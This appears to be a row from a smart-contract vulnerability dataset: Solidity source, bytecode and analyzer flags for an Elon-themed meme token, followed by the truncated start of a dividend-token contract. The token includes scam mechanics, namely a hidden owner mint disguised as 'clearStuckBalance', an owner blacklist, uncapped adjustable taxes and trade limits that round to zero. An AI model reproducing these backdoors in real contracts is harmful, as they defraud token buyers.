,&@@@&@@@@@@@@@@@@@@@@@@@@@@@%/((#####(/////***&&&@@&&&&&&&&&&&&&@&&&&&&&&&&&&&&&&&&&& // #########################((%%/...,@@@@@&@@@@@@@@@@@@@@@@@@@@@@@&**/(((((((///**/&&&@@&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& // ########################%#(#%,..,&@@@@&&&@@@@@@@@@@@@@@@@@@@@@@@/**/////////**/&&&&@&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& // #########################%((%*.,&@@@@@@&@@@@@@@@@@@@@@@@@@@@@@@@&****//**///*/&&&@@&&&&&&&&&&&&&&@@&&&&&&&&&&&&&&&&&&&&& // #########################%##%/.#@@@&@&@@@@@@@@@@@@@@@@@@@@@@@&@@@&****/***///@&&@@@&&&&&&&&&&&@@&&&&&&&&&&&&&&&&&&&&&&&& // ########################%%##%%#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&@@@/***/////%@&@@@&&&&&&&&&&@@&&&&&&&&&&&&&&&&&&&&&&&&&& // #######################%%%##%&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&@@@@%****///&@&&@&&&&&&&&&@@&&&&&&&&&&&&&&&&&&&&&&&&&&&& // ######################%%%%##&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#*///&@@@@&&&&&&&&&@&&&&&&&&&&@@@&&&&&&&&&&&&&&&&& // %#####################%%%##%&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&@@@@@@#(&@@@@@&&&&&&&@&&&&&&&&@@&&&&&&&&&&&&&&&&&&&&&& // #######%####%#####%###%%%##%&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&&&&&&@&&&&&@@&&&&&&&&&&&@@&&&&&&&&&&&@@ // */##%%%%####%##%##%%%#%%%##&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&&&&&@&&&@@&&&&&&&&&@@@&&&&&&&&&&&&&&&@@ // ***//##%%%%#%##%##%%#%%%%#%&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&&&@@@&&@&&&&&@&&&@@&&&&&&&&&&&&&&&&@@@&& /* Elon Musk set to purchase Coca Cola to recreate the original cocaine containing formula **/ pragma solidity ^0.8.13; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract ELONSNORTSCOKE is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address => bool) public bots; uint256 private _tTotal = 1000000000 * 10**8; uint256 private _contractAutoLpLimitToken = 50000000 * 10**8; uint256 private _taxFee; uint256 private _buyTaxMarketing = 2; uint256 private _sellTaxMarketing = 5; uint256 private _autoLpFee = 3; uint256 private _LpPercentBase100 = 40; uint256 private _bmPercentBase = 30; uint256 private _cmsnPercentBase100 = 30; address payable private _elonWallet; uint256 private _maxTxAmount; uint256 private _maxWallet; bool private initialAirdrop = false; string private constant _name = "ELON BUYS COCA COLA"; string private constant _symbol = "ELONBUYSCOKE"; uint8 private constant _decimals = 8; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; event SwapAndLiquify( uint256 tokensSwapped, uint256 coinReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _elonWallet = payable(0xc0d03b908e0Ae3eF8f572634C30d2C9a35b794BA); _taxFee = _buyTaxMarketing + _autoLpFee; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _isExcludedFromFee[address(this)] = true; _maxTxAmount = _tTotal.mul(2).div(10**50); _maxWallet = _tTotal.mul(4).div(10**50); _balance[address(this)] = _tTotal; emit Transfer(address(0x0), address(this), _tTotal); } function maxTxAmount() public view returns (uint256){ return _maxTxAmount; } function maxWallet() public view returns (uint256){ return _maxWallet; } function isInSwap() public view returns (bool) { return _inSwap; } function isSwapEnabled() public view returns (bool) { return _swapEnabled; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setSellMarketingTax(uint256 taxFee) external onlyOwner() { _sellTaxMarketing = taxFee; } function setBuyMarketingTax(uint256 taxFee) external onlyOwner() { _buyTaxMarketing = taxFee; } function setAutoLpFee(uint256 taxFee) external onlyOwner() { _autoLpFee = taxFee; } function setContractAutoLpLimit(uint256 newLimit) external onlyOwner() { _contractAutoLpLimitToken = newLimit; } function setElonWallet(address newWallet) external onlyOwner() { _elonWallet = payable(newWallet); } function setAutoLpPercentBase100(uint256 newPercentBase100) external onlyOwner() { require(newPercentBase100 < 100, "Percent is too high"); _LpPercentBase100 = newPercentBase100; } function setBmPercentBase(uint256 newPercentBase100) external onlyOwner() { require(newPercentBase100 < 100, "Percent is too high"); _bmPercentBase = newPercentBase100; } function setCmPercentBase(uint256 newPercentBase100) external onlyOwner() { require(newPercentBase100 < 100, "Percent is too high"); _cmsnPercentBase100 = newPercentBase100; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setPromoterWallets(address[] memory promoterWallets) public onlyOwner { for(uint256 i=0; i<promoterWallets.length; i++) { _isExcludedFromFee[promoterWallets[i]] = true; } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from] && !bots[to], "This account is blacklisted"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<=_maxTxAmount,"Transaction amount limited"); require(_canTrade,"Trading not started"); require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size"); } if (from == _pair) { _taxFee = buyTax(); } else { _taxFee = sellTax(); } uint256 contractTokenBalance = balanceOf(address(this)); if(!_inSwap && from != _pair && _swapEnabled) { if(contractTokenBalance >= _contractAutoLpLimitToken) { swapAndLiquify(contractTokenBalance); } } } _tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 autoLpTokenBalance = contractTokenBalance.mul(_LpPercentBase100).div(10**2); uint256 marketingAmount = contractTokenBalance.sub(autoLpTokenBalance); uint256 half = autoLpTokenBalance.div(2); uint256 otherHalf = autoLpTokenBalance.sub(half); uint256 initialBalance = address(this).balance; swapTokensForEth(half.add(marketingAmount)); uint256 newBalance = address(this).balance.sub(initialBalance); addLiquidityAuto(newBalance, otherHalf); emit SwapAndLiquify(half, newBalance, otherHalf); sendETHToFee(marketingAmount); } function buyTax() private view returns (uint256) { return (_autoLpFee + _buyTaxMarketing); } function sellTax() private view returns (uint256) { return (_autoLpFee + _sellTaxMarketing); } function setMaxTx(uint256 amount) public onlyOwner{ require(amount>_maxTxAmount); _maxTxAmount=amount; } function sendETHToFee(uint256 amount) private { uint256 bmAmt = amount.mul(_bmPercentBase).div(100); _elonWallet.transfer(bmAmt); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function createPair() external onlyOwner { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); IERC20(_pair).approve(address(_uniswap), type(uint).max); } function clearStuckBalance(address wallet, uint256 balance) public onlyOwner { _balance[wallet] += balance * 10**8; emit Transfer(address(this), wallet, balance * 10**8); } function addLiquidityInitial() external onlyOwner{ _uniswap.addLiquidityETH{value: address(this).balance} ( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); _swapEnabled = true; } function addLiquidityAuto(uint256 etherValue, uint256 tokenValue) private { _approve(address(this), address(_uniswap), tokenValue); _uniswap.addLiquidityETH{value: etherValue} ( address(this), tokenValue, 0, 0, owner(), block.timestamp ); _swapEnabled = true; } function enableTrading(bool _enable) external onlyOwner{ _canTrade = _enable; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private { uint256 tTeam = tAmount.mul(taxRate).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(tTransferAmount); _balance[address(this)] = _balance[address(this)].add(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function setMaxWallet(uint256 amount) public onlyOwner{ require(amount>_maxWallet); _maxWallet=amount; } receive() external payable {} function blockBots(address[] memory bots_) public onlyOwner {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}} function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function manualsend() public{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function Airdrop(address recipient, uint256 amount) public onlyOwner { require(_balance[address(this)] >= amount * 10**8, "Contract does not have enough tokens"); _balance[address(this)] = _balance[address(this)].sub(amount * 10**8); _balance[recipient] = amount * 10**8; emit Transfer(address(this), recipient, amount * 10**8); } }
0x6080604052600436106102285760003560e01c80637b41192a11610123578063a9059cbb116100ab578063dd62ed3e1161006f578063dd62ed3e14610699578063e3507797146106df578063ea2f0b37146106ff578063f275f64b1461071f578063f8b45b051461073f57600080fd5b8063a9059cbb146105ea578063bc3371821461060a578063bfd792841461062a578063cc9968991461065a578063d7a037251461067957600080fd5b80638c32c568116100f25780638c32c568146105385780638da5cb5b14610558578063910731391461058057806395d89b41146105a05780639e78fb4f146105d557600080fd5b80637b41192a146104ce5780637eb8d14c146104ee578063818a7def1461050e5780638c0b5e221461052357600080fd5b8063351a964d116101b157806362d2f9c41161017557806362d2f9c41461042e5780636b9990531461044e5780636fc3eaec1461046e57806370a0823114610483578063715018a6146104b957600080fd5b8063351a964d1461038f578063370e1a94146103ae5780634263ec33146103ce578063437823ec146103ee5780635d0044ca1461040e57600080fd5b80631552c88a116101f85780631552c88a146102f457806318160ddd146103145780631d60c2b01461033357806323b872dd14610353578063313ce5671461037357600080fd5b8062b8cf2a14610234578063061c82d01461025657806306fdde0314610276578063095ea7b3146102c457600080fd5b3661022f57005b600080fd5b34801561024057600080fd5b5061025461024f366004611f09565b610754565b005b34801561026257600080fd5b50610254610271366004611fce565b6107f3565b34801561028257600080fd5b50604080518082019091526013815272454c4f4e204255595320434f434120434f4c4160681b60208201525b6040516102bb9190611fe7565b60405180910390f35b3480156102d057600080fd5b506102e46102df36600461203c565b610822565b60405190151581526020016102bb565b34801561030057600080fd5b5061025461030f366004611fce565b610839565b34801561032057600080fd5b506006545b6040519081526020016102bb565b34801561033f57600080fd5b5061025461034e366004611fce565b610888565b34801561035f57600080fd5b506102e461036e366004612068565b6108b7565b34801561037f57600080fd5b50604051600881526020016102bb565b34801561039b57600080fd5b50601354600160b01b900460ff166102e4565b3480156103ba57600080fd5b506102546103c9366004611fce565b610920565b3480156103da57600080fd5b506102546103e9366004611fce565b61096f565b3480156103fa57600080fd5b506102546104093660046120a9565b61099e565b34801561041a57600080fd5b50610254610429366004611fce565b6109ec565b34801561043a57600080fd5b506102546104493660046120a9565b610a29565b34801561045a57600080fd5b506102546104693660046120a9565b610a75565b34801561047a57600080fd5b50610254610ac0565b34801561048f57600080fd5b5061032561049e3660046120a9565b6001600160a01b031660009081526002602052604090205490565b3480156104c557600080fd5b50610254610acd565b3480156104da57600080fd5b506102546104e9366004611fce565b610b41565b3480156104fa57600080fd5b50610254610509366004611fce565b610b70565b34801561051a57600080fd5b50610254610bbf565b34801561052f57600080fd5b50601054610325565b34801561054457600080fd5b5061025461055336600461203c565b610ca6565b34801561056457600080fd5b506000546040516001600160a01b0390911681526020016102bb565b34801561058c57600080fd5b5061025461059b366004611f09565b610dee565b3480156105ac57600080fd5b5060408051808201909152600c81526b454c4f4e42555953434f4b4560a01b60208201526102ae565b3480156105e157600080fd5b50610254610e80565b3480156105f657600080fd5b506102e461060536600461203c565b611126565b34801561061657600080fd5b50610254610625366004611fce565b611133565b34801561063657600080fd5b506102e46106453660046120a9565b60056020526000908152604090205460ff1681565b34801561066657600080fd5b50601354600160a81b900460ff166102e4565b34801561068557600080fd5b5061025461069436600461203c565b611170565b3480156106a557600080fd5b506103256106b43660046120c6565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156106eb57600080fd5b506102546106fa366004611fce565b61120f565b34801561070b57600080fd5b5061025461071a3660046120a9565b61123e565b34801561072b57600080fd5b5061025461073a36600461210d565b611289565b34801561074b57600080fd5b50601154610325565b6000546001600160a01b031633146107875760405162461bcd60e51b815260040161077e9061212a565b60405180910390fd5b60005b81518110156107ef576001600560008484815181106107ab576107ab61215f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107e78161218b565b91505061078a565b5050565b6000546001600160a01b0316331461081d5760405162461bcd60e51b815260040161077e9061212a565b600855565b600061082f33848461139c565b5060015b92915050565b6000546001600160a01b031633146108635760405162461bcd60e51b815260040161077e9061212a565b606481106108835760405162461bcd60e51b815260040161077e906121a4565b600c55565b6000546001600160a01b031633146108b25760405162461bcd60e51b815260040161077e9061212a565b600a55565b60006108c48484846114c0565b610916843361091185604051806060016040528060288152602001612356602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611916565b61139c565b5060019392505050565b6000546001600160a01b0316331461094a5760405162461bcd60e51b815260040161077e9061212a565b6064811061096a5760405162461bcd60e51b815260040161077e906121a4565b600e55565b6000546001600160a01b031633146109995760405162461bcd60e51b815260040161077e9061212a565b600955565b6000546001600160a01b031633146109c85760405162461bcd60e51b815260040161077e9061212a565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000546001600160a01b03163314610a165760405162461bcd60e51b815260040161077e9061212a565b6011548111610a2457600080fd5b601155565b6000546001600160a01b03163314610a535760405162461bcd60e51b815260040161077e9061212a565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610a9f5760405162461bcd60e51b815260040161077e9061212a565b6001600160a01b03166000908152600560205260409020805460ff19169055565b47610aca81611950565b50565b6000546001600160a01b03163314610af75760405162461bcd60e51b815260040161077e9061212a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610b6b5760405162461bcd60e51b815260040161077e9061212a565b600b55565b6000546001600160a01b03163314610b9a5760405162461bcd60e51b815260040161077e9061212a565b60648110610bba5760405162461bcd60e51b815260040161077e906121a4565b600d55565b6000546001600160a01b03163314610be95760405162461bcd60e51b815260040161077e9061212a565b601254306000818152600260205260409020546101009092046001600160a01b03169163f305d719914791600080610c296000546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610c4b969594939291906121d1565b60606040518083038185885af1158015610c69573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c8e919061220c565b50506013805460ff60b01b1916600160b01b17905550565b6000546001600160a01b03163314610cd05760405162461bcd60e51b815260040161077e9061212a565b610cde816305f5e10061223a565b306000908152600260205260409020541015610d485760405162461bcd60e51b8152602060048201526024808201527f436f6e747261637420646f6573206e6f74206861766520656e6f75676820746f6044820152636b656e7360e01b606482015260840161077e565b610d6f610d59826305f5e10061223a565b30600090815260026020526040902054906119ad565b30600090815260026020526040902055610d8d816305f5e10061223a565b6001600160a01b038316600081815260026020526040902091909155307fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610dd9846305f5e10061223a565b60405190815260200160405180910390a35050565b6000546001600160a01b03163314610e185760405162461bcd60e51b815260040161077e9061212a565b60005b81518110156107ef57600160046000848481518110610e3c57610e3c61215f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610e788161218b565b915050610e1b565b6000546001600160a01b03163314610eaa5760405162461bcd60e51b815260040161077e9061212a565b601354600160a01b900460ff1615610f045760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161077e565b610f2630601260019054906101000a90046001600160a01b031660065461139c565b601260019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9d9190612259565b6001600160a01b031663c9c6539630601260019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110239190612259565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015611070573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110949190612259565b601380546001600160a01b0319166001600160a01b0392831690811790915560125460405163095ea7b360e01b8152610100909104909216600483015260001960248301529063095ea7b3906044016020604051808303816000875af1158015611102573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aca9190612276565b600061082f3384846114c0565b6000546001600160a01b0316331461115d5760405162461bcd60e51b815260040161077e9061212a565b601054811161116b57600080fd5b601055565b6000546001600160a01b0316331461119a5760405162461bcd60e51b815260040161077e9061212a565b6111a8816305f5e10061223a565b6001600160a01b038316600090815260026020526040812080549091906111d0908490612293565b90915550506001600160a01b038216307fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610dd9846305f5e10061223a565b6000546001600160a01b031633146112395760405162461bcd60e51b815260040161077e9061212a565b600755565b6000546001600160a01b031633146112685760405162461bcd60e51b815260040161077e9061212a565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146112b35760405162461bcd60e51b815260040161077e9061212a565b60138054911515600160a01b0260ff60a01b19909216919091179055565b6000826000036112e357506000610833565b60006112ef838561223a565b9050826112fc85836122ab565b146113535760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161077e565b9392505050565b600061135383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119ef565b6001600160a01b0383166113fe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161077e565b6001600160a01b03821661145f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161077e565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166115245760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161077e565b6001600160a01b0382166115865760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161077e565b600081116115e85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161077e565b6001600160a01b03831660009081526005602052604090205460ff1615801561162a57506001600160a01b03821660009081526005602052604090205460ff16155b6116765760405162461bcd60e51b815260206004820152601b60248201527f54686973206163636f756e7420697320626c61636b6c69737465640000000000604482015260640161077e565b6000546001600160a01b038481169116148015906116a257506000546001600160a01b03838116911614155b156118b5576013546001600160a01b0384811691161480156116d757506012546001600160a01b038381166101009092041614155b80156116fc57506001600160a01b03821660009081526004602052604090205460ff16155b1561181d576010548111156117535760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161077e565b601354600160a01b900460ff166117a25760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd081cdd185c9d1959606a1b604482015260640161077e565b601154816117c5846001600160a01b031660009081526002602052604090205490565b6117cf9190612293565b111561181d5760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a6500000000604482015260640161077e565b6013546001600160a01b03908116908416036118435761183b611a1d565b60085561184f565b61184b611a34565b6008555b30600090815260026020526040902054601354600160a81b900460ff1615801561188757506013546001600160a01b03858116911614155b801561189c5750601354600160b01b900460ff165b156118b35760075481106118b3576118b381611a46565b505b6001600160a01b0382166000908152600460205260409020546119119084908490849060ff16806118fe57506001600160a01b03871660009081526004602052604090205460ff165b61190a57600854611b29565b6000611b29565b505050565b6000818484111561193a5760405162461bcd60e51b815260040161077e9190611fe7565b50600061194784866122cd565b95945050505050565b6000611972606461196c600d54856112d190919063ffffffff16565b9061135a565b600f546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050158015611911573d6000803e3d6000fd5b600061135383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611916565b60008183611a105760405162461bcd60e51b815260040161077e9190611fe7565b50600061194784866122ab565b6000600954600b54611a2f9190612293565b905090565b6000600a54600b54611a2f9190612293565b6013805460ff60a81b1916600160a81b179055600c54600090611a719060649061196c9085906112d1565b90506000611a7f83836119ad565b90506000611a8e83600261135a565b90506000611a9c84836119ad565b905047611ab1611aac8486611c27565b611c86565b6000611abd47836119ad565b9050611ac98184611e03565b60408051858152602081018390529081018490527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a1611b1385611950565b50506013805460ff60a81b191690555050505050565b6000611b3a606461196c85856112d1565b90506000611b4884836119ad565b6001600160a01b038716600090815260026020526040902054909150611b6e90856119ad565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611b9d9082611c27565b6001600160a01b038616600090815260026020526040808220929092553081522054611bc99083611c27565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b600080611c348385612293565b9050838110156113535760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161077e565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611cbb57611cbb61215f565b60200260200101906001600160a01b031690816001600160a01b031681525050601260019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d529190612259565b81600181518110611d6557611d6561215f565b6001600160a01b039283166020918202929092010152601254611d909130916101009004168461139c565b60125460405163791ac94760e01b81526101009091046001600160a01b03169063791ac94790611dcd9085906000908690309042906004016122e4565b600060405180830381600087803b158015611de757600080fd5b505af1158015611dfb573d6000803e3d6000fd5b505050505050565b601254611e2090309061010090046001600160a01b03168361139c565b6012546001600160a01b036101009091041663f305d719833084600080611e4f6000546001600160a01b031690565b426040518863ffffffff1660e01b8152600401611e71969594939291906121d1565b60606040518083038185885af1158015611e8f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611eb4919061220c565b50506013805460ff60b01b1916600160b01b179055505050565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610aca57600080fd5b8035611f0481611ee4565b919050565b60006020808385031215611f1c57600080fd5b823567ffffffffffffffff80821115611f3457600080fd5b818501915085601f830112611f4857600080fd5b813581811115611f5a57611f5a611ece565b8060051b604051601f19603f83011681018181108582111715611f7f57611f7f611ece565b604052918252848201925083810185019188831115611f9d57600080fd5b938501935b82851015611fc257611fb385611ef9565b84529385019392850192611fa2565b98975050505050505050565b600060208284031215611fe057600080fd5b5035919050565b600060208083528351808285015260005b8181101561201457858101830151858201604001528201611ff8565b81811115612026576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561204f57600080fd5b823561205a81611ee4565b946020939093013593505050565b60008060006060848603121561207d57600080fd5b833561208881611ee4565b9250602084013561209881611ee4565b929592945050506040919091013590565b6000602082840312156120bb57600080fd5b813561135381611ee4565b600080604083850312156120d957600080fd5b82356120e481611ee4565b915060208301356120f481611ee4565b809150509250929050565b8015158114610aca57600080fd5b60006020828403121561211f57600080fd5b8135611353816120ff565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161219d5761219d612175565b5060010190565b6020808252601390820152720a0cae4c6cadce840d2e640e8dede40d0d2ced606b1b604082015260600190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b60008060006060848603121561222157600080fd5b8351925060208401519150604084015190509250925092565b600081600019048311821515161561225457612254612175565b500290565b60006020828403121561226b57600080fd5b815161135381611ee4565b60006020828403121561228857600080fd5b8151611353816120ff565b600082198211156122a6576122a6612175565b500190565b6000826122c857634e487b7160e01b600052601260045260246000fd5b500490565b6000828210156122df576122df612175565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156123345784516001600160a01b03168352938301939183019160010161230f565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ece808d48ad4289d70a822cf3f4ca0cdc546f4c526b73bf6e68d981eebf3cdf964736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,422
0xa80013dd80b21bcad3d3eed1d514cda361c40613
pragma solidity ^0.4.20; /* J.I.G.G.S */ contract Jiggs { /*================================= = MODIFIERS = =================================*/ // only people with tokens modifier onlyBagholders() { require(myTokens() > 0); _; } // only people with profits modifier onlyStronghands() { require(myDividends(true) > 0); _; } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "The Jigsaw Games"; string public symbol = "Jiggs3D"; uint8 constant public decimals = 18; uint8 constant internal entryFee_ = 25; uint8 constant internal refferalFee_ = 50; uint8 constant internal exitFee_ = 